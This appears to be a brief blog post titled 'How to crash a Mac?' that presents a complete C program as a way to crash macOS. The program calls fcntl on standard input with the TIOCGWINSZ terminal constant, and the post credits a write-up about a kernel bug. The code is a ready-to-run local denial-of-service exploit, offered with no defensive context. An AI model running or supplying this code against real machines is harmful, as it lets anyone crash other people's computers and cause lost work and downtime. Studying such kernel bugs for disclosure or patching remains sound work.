How to crash a Mac?

 
#include <fcntl.h>
#include <sys/ioctl.h>
 
int main()
{
        fcntl(0, TIOCGWINSZ, 0);
        return 0;
}

via But Not Yet – The Story of a Simple and Dangerous Kernel Bug.

You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">